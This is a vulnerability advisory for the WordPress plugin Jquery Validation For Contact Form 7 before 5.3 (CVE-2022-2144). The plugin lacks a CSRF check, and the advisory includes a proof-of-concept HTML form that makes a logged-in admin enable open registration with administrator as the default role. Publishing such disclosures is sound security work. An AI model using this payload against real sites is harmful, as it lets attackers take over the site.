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Jquery Validation For Contact Form 7 < 5.3 - Arbitrary Options Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change Blog options like default_role, users_can_register via a CSRF attack

Proof of Concept

<form method="post" action="https://example.com/wordpress/wp-admin/admin.php?page=jvcf7">
    <input type="hidden" name="blogname" value="Tested">
    <input type="hidden" name="users_can_register" value="1">
    <input type="hidden" name="default_role" value="administrator">
    <input type="submit" name="save-jvcf7-options" value="Save Settings">
</form> 

Affects Plugins

jquery-validation-for-contact-form-7
Fixed in version 5.3

References

CVE
CVE-2022-2144

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Gibran Abdillah

Submitter

Gibran Abdillah

Verified

Yes

WPVDB ID
419054d4-95e8-4f4a-b864-a98b3e18435a

Timeline

Publicly Published

2022-06-27 (about 9 months ago)

Added

2022-06-27 (about 9 months ago)

Last Updated

2022-06-27 (about 9 months ago)

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